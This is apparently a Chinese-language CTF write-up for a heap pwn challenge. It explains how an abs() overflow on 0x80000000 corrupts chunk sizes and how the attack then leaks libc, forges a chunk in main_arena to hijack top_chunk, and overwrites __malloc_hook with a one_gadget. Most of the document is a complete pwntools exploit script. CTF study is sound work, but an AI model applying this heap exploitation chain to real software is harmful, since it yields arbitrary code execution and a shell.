这题盯了一上午没发现漏洞点…, 然后就自闭了
但是就算自闭, 学还是要学的…
1.add
程序中限制了创建的chunk的size只能为0x20, 0x30, 0x40 其中之一
2.update
相当于edit, 不过可以指定修改的数据的位置, 利用取余操作来保证不会越界, 不过abs函数存在溢出可以使返回值为一个负数, 这就是漏洞所在的地方
其它操作没什么特殊的地方了
abs函数存在溢出, 导致返回的值可以为负数
abs函数的libc源码:
若输入的参数为0x80000000, 二进制为1000 0000 0000 0000, 按位取反后再加上一二进制依然为1000 0000 0000 0000, 返回值为一个负数
示例程序:
输出:
从这可以知道在创建medium大小的chunk后调用update函数可以造成溢出使得修改chunk的size
漏洞利用:
由于程序限制了chunk的size, 会的fastbin attack之类的用不上了
这里用的是修改main_arena中的top_chunk的地址, 劫持到malloc_hook 的地址, 之后再分配chunk地址时就会从malloc_hook 的地址开始分配chunk, 这样就可以覆写malloc_hook 为one_gadget 来getshell了
具体步骤:
1.创建多个medium的chunk, 利用abs函数的漏洞修改chunk的size符合unsortedbin中的size, 之后通过切割unsortedbin中的chunk来达到泄露libc地址的目的
2.由于要改写top_chunk的地址, 所以需要再main_arena中伪造一个chunk, 那么就得在main_arena中写入一个伪造的chunk的size, 通过调试发现fastbin中得next addr会存放于main_arena中, 那么就可以通过控制fastbin中的chunk的next chunk的地址为伪造的chunk的size, 那么算好这个size所在的地址与libc基址的偏移就可以通过fastbin attack达到修改top_chunk的地址的目的
3.伪造了chunk后之后就是改写top_chunk的地址了, 再分配chunk覆写malloc_hook为one_gadget, 最后就是触发one_gadget getshell了
EXP:
from pwn import *
context(arch='amd64', os='linux', log_level='debug')
debug = 0
d = 1
if debug == 0:
p = process("./ipwn1")
if d == 1:
context.terminal = ['tmux', 'splitw', '-h']
gdb.attach(p)
else:
p = remote("8sdafgh.gamectf.com", 10001)
def add(sizen, content):
p.sendlineafter("5.Exit", str(1))
p.sendlineafter("3.Large", str(sizen))
p.sendafter("Input Content:", content)
def update(idd, ps, content):
p.sendlineafter("5.Exit", str(2))
p.sendlineafter("Which one do you want to update?", str(idd))
p.sendlineafter("Where you want to update?", str(ps))
p.sendlineafter("Input Content:", content)
def delete(idd):
p.sendlineafter("5.Exit", str(3))
p.sendlineafter("Which one do you want to delete?", str(idd))
def view(idd):
p.sendlineafter("5.Exit", str(4))
p.sendlineafter("Which one do you want to view?", str(idd))
add(2, 'aa\n') #0
add(2, 'bb\n') #1
add(2, 'cc\n') #2
add(3, '\x00'*8 + p64(0x21) + '\x00'*0x18 + p64(0x21) + '\n') #3
payload = '\x00'*0x18 + p64(0x91)
update(1, 0x80000000, payload)
delete(1)
add(2, 'ee\n') #4
view(2)
libc = ELF("ipwn1_libc.so")
p.recvline()
leak = p.recvline()[:-1]
libc_addr = u64(leak.ljust(8, '\x00'))
libc_base = libc_addr - (0x7f59829d5b78 - 0x7f5982611000)
realloc = libc_base + libc.symbols['__libc_realloc']
malloc_hook = libc_base + libc.symbols['__malloc_hook']
onegadget = libc_base + 0xf1147
print "libc_addr -> " + hex(libc_addr)
print "libc_base -> " + hex(libc_base)
print "malloc_hook -> " + hex(malloc_hook)
print "realloc -> " + hex(realloc)
print "onegadget -> " + hex(onegadget)
'''
0x45216 execve("/bin/sh", rsp+0x30, environ)
constraints:
rax == NULL
0x4526a execve("/bin/sh", rsp+0x30, environ)
constraints:
[rsp+0x30] == NULL
0xf02a4 execve("/bin/sh", rsp+0x50, environ)
constraints:
[rsp+0x50] == NULL
0xf1147 execve("/bin/sh", rsp+0x70, environ)
constraints:
[rsp+0x70] == NULL
'''
add(2, 'ff\n') #5
add(2, 'gg\n') #6
add(2, 'h\n') #7
add(2, p64(0x21)*6) #8
#add(2, p64(0x21)*6) #9
update(6, 0x80000000, '\x00'*0x18 + p64(0x91))
delete(6)
add(3, 'j\n') #9
add(2, 'k\n') #10
delete(10)
update(7, 0, p64(0) + p64(0x41) + p64(0x51))
add(2, 'l\n')
payload = '\x00'*0x18 + p64(0x51)
update(5, 0x80000000, payload)
delete(5)
top_addr = libc_base + (0x7f197fcb0b30 - 0x7f197f8ec000)
update(2, 0, p64(top_addr))
raw_input()
add(3, 'j\n')
payload = '\x00'*0x38 + p64(malloc_hook - 0x10)
add(3, payload)
add(1, p64(onegadget)*2 + '\n')
p.sendlineafter("5.Exit", str(1))
p.sendlineafter("3.Large", str(1))
p.interactive()